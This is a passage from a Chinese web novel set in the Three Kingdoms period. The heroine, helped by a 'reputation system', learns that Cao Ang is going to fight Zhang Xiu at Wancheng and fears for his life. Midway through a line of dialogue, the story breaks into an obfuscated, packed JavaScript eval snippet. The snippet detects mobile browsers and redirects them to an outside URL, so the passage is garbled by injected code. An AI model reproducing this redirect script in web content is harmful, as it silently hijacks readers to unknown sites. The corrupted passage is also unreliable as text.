不过他倒是隐约记得自己的妻子昨晚似乎来过,便想着找她问问,正巧这个时候严氏过来给他送醒酒汤,吕布也就顺势发问了。 而严氏则是面不改色,言说他喝多了,不小心摔了一跤,这才磕到了后脑勺的。 她简单解释了这么一句后,又尽心尽力的喂他喝醒酒汤,给他穿衣收拾,服侍的特别周到。 如此一来,吕布尽管心里还是觉得有哪儿不对劲,但也不好多说什么,更不可能怀疑是严氏袭击了自己。 在吕布的印象中,他们夫妻两个还是挺温存的,嗯,除去他沾花惹草的时候,思及此处,吕布有点心虚。 不过他细细想了想,觉得自己最近好像并没有做什么出格的事情,便又理直气壮起来,还心安理得的享受着妻子无微不至的伺候。 他心里想什么,几乎都写在脸上,严氏跟他成亲多年,可以说比他自己都了解他。 虽然她面上依旧温柔,但心里却在不住的吐槽他胆敢觊觎万年公主的行为,无异于取死有道。 昨天喝酒,他还说人家曹家大公子色胆包天呢,依严氏看,这天底下最色胆包天的,就是他吕布了。 毕竟,为了一个妾室直接反杀自己义父兼当朝相国的,普天之下,也就只有他一个。 严氏心里其实极为不认同这种行为,但奈何他是自己的丈夫,正所谓嫁鸡随鸡,嫁狗随狗,也就只能这样了。 况且这会儿女儿的前程还都系在自己丈夫身上,严氏为了孩子也不会跟他彻底闹翻的。 不提她心里的各种打算,总之吕布感觉良好,一系列准备工作都结束后,便穿上官服进宫参加朝会去了。 所有的文武官员看着天子刘协难看的脸色,纷纷默契的将今日的议题从万年公主的婚事,转到了他们该何时派兵支援刘备,以及派谁去支援的问题上。 曹操一派想让吕布出战。 如果吕布赢了,那么刘备的徐州牧肯定不保,两人必然产生龌龊,吕布将会被拖在徐州,难回兖州跟他们作对。 如果吕布输了,那他们正好逼天子刘协处置对方。 也就是说,无论如何,他们都不亏。 可天子刘协却不太想派吕布出去,这是为朝中局势考虑,也是为了他自身的安危考虑,可是徐州又的确不容有失,一时之间,真是处于两难境地。 陈宫,荀彧,郭嘉都看出了曹操一派的不良居心,奈何荀彧这会儿明面上是曹营的人,不好开口反驳,而郭嘉又人微言轻,不足以说服群臣。 不得已,最后还是陈宫站出来提了个折中的建议,请张辽将军率领兵马前去支援。 张辽素来沉稳,又颇有战绩,且对曹操的制衡力度又不如吕布,正好可以派出去建功立业,扩大地盘。 这个提议一出,虽然双方都不满意,但也不是不能接受。 就这样,众人暂时达成了一致。 早朝刚结束不久,刘琼那儿就收到了朝会的最新消息,得知是张辽被派去领兵支援刘备,她也只能遗憾的表示人算不如天算。 如果这次被派出去的是吕布,那么刘琼觉得自己完全可以暗示对方杀死刘备,可现在说什么都晚了。 张辽的性格和操守在那儿,她可以令他效忠自己不假,但若要他轻易改变原则和底线,怕是得费些功夫。 可眼下张辽出兵在即,她显然没办法在短时间内达成想要的效果,只能暂时放弃清除刘备的计划。 不过这也不是全无好处,至少这次张辽出兵支援刘备,除了要守住徐州之外,大家都知道的,还有就是因为袁术贸然为他儿子求亲的事。 虽然这完全是对方的痴心妄想,但也的确让刘琼的声望值涨了一波。 系统奖励她亲和力再涨百分之二十,就连洛阳救驾时使用的特效技能也升级了,这就相当有利于她,谁让古人就信这些呢。 除此之外,刘琼还解锁了一项新的能力,那就是可以用自身气运兑换各种奖励。 当然了,想要的奖励越丰厚,那使用的气运就越多。 但声望值系统也不含糊,你给它气运,它真给你各种好处啊,而且从不骗人,可以说是明码标价,童叟无欺,信誉老好了。 刘琼深知气运的重要性,尽管很眼馋系统里的各种好处,那她也没有随便兑换什么,只想着要把好钢用在刀刃上。 只是她没有想到,很快她就可以实现这个愿望了。 张辽出征没多久,突然便有八百里加急快报,言说张济自关中引兵攻南阳袁术,却为流矢所中而死。 而张济的侄儿张绣整合了自家叔父的军队,又招揽贾诩为谋士,并派信使去和荆州牧刘表联合,双方合在一处,欲要起兵救驾。 说白了,就是张绣和刘表都觉得曹操图谋不轨,这是打算将天子刘协置于自己的治下。 按理说,人家这么想也不算错,奈何曹操脸上十分挂不住,又绝对不肯让出到手的利益,便以张绣和刘表谋反为由,向天子刘协请求征讨。 刘协考虑到刘表到底是汉室宗亲,不宜将其打成反贼,且刘表如今又和孙策争夺江东,守的还是他们刘家的地盘,也就不想多加苛责,只说自己会下旨对刘表进行申饬。 曹操自然十分不满这个结果,刘协也不好将其得罪太过,只能答应关于张绣叛乱的事,由对方做主。 曹操这才满意了些,开始调兵遣将,准备征讨张绣,刘琼还没得知这个消息呢,便被兴冲冲的曹昂邀请去跑马。 刘琼想着这些日子也的确憋屈,去玩一会儿也好,便跟他一起去了。 两人玩的十分尽兴,天色已晚也不愿回去,曹昂更是兴致勃勃,亲自点了篝火跟她并排坐着聊天。 伺候刘琼的慧儿也早就准备好了膳食饮品放在他们旁边,而自己则是到不远处把风。 吃着饭菜,喝着酒,还有熊熊的篝火和清爽的晚风,刘琼和曹昂都觉得十分惬意。 “今天你兴致颇高啊,能说说是为了什么吗?”玩得也差不多了,她自然也询问一下缘由。 “好妹妹,你还记不记得,我曾答应过你,要在你及笄前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976439|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证明我自己。”曹昂却提起了其他。 “自然是记得,怎么?”刘琼一愣。 “今日下朝后,我听父亲说,朝廷要派兵征讨一股来自关中的反贼,我已经向父亲请命一起出征了。”曹昂如实道。 “我一定要打胜仗,做个英雄,最重要的,我要在战场上证明自己,取得军功。” “也只有这样,旁人才不会看不起我。” “而我也能堂堂正正的请父亲向陛下开口求亲,求他成全我们。”他握住她的手,郑重其事的说着自己的打算。 “你,你是为了我才要去打仗的吗?你难道不知道战场之上刀枪无眼,若是有个万一……” 听他这般恳切的剖白心意,便是刘琼再如何心有成算也忍不住动容。 “没有万一,我一定会活着回来,带着满身荣耀向所有人证明,我配得上你。” 曹昂却不等她说完,就再一次坚定万分的表达了自己的决心。 “你等我,等我打一场胜仗回来,那个时候我一定会和父亲一起去求陛下赐婚。” “琼儿,你一定要信我,要等我,等我回来。”他握紧她的手,再三重复请求道。 “……嗯,我等你,我一定等你。”他的心太过赤诚,感情又是这般炽热且澄澈,让刘琼实在说不出什么拒绝的话语,只能点了点头,表示赞同。 “谢谢你,琼儿,谢谢你肯一直相信我,我绝不会让你失望的,绝对!”曹昂情不自禁的拥她入怀。 “说了这老半天,你还没告诉我,这次要征讨的反贼是谁啊,要去哪儿打仗,打多久啊?” 她感觉自己快被这直白且炽烈的感情灼伤了,一时难以回应,只能靠在他身上询问些别的东西,也好让自己狂跳的小心脏稳定一些。 “要征讨的是张绣,听说他现在屯兵在宛城,也不远,就在荆州和豫州交界地带,这次父亲也会亲征,想来不日就能凯旋而归,你放心就是。”曹昂如实告知。 “你说什么?你要去哪儿?跟谁打仗?”刘琼猛的从他怀里起身坐好,皱紧眉头再三确认道。 “我说我要去宛城,跟张绣打仗啊,怎么了?有什么不对吗?”曹昂有些不明所以。 “……”,刘琼惊的瞳孔都忍不住放大了。 还有什么不对吗?这不对简直大了去了! 宛城之战是什么?那是有史书记载的大事件,用一句话总结,那就是一炮害三贤。 很不幸,曹昂就是这三贤之一。 史书记载,曹操攻打宛城,张绣投降,曹操也接纳了他,可偏偏看上了张绣的婶婶,也就是张济的妻子邹氏,要收为妾室。 张绣不堪受辱,愤而偷袭,导致曹操的亲儿子曹昂,亲侄子曹安民,以及他的护卫典韦尽皆丧命。 偏偏曹操这个罪魁祸首逃出生天了,你说这找谁说理去? 刘琼之前压根没往宛城之战想,因为时间根本不对,可现在不想也不行了,曹昂这是铁了心要去,可是他这一去,估计就回不来了。 ‘怎么办?怎么办?我该怎么办?’刘琼也陷入了两难境地。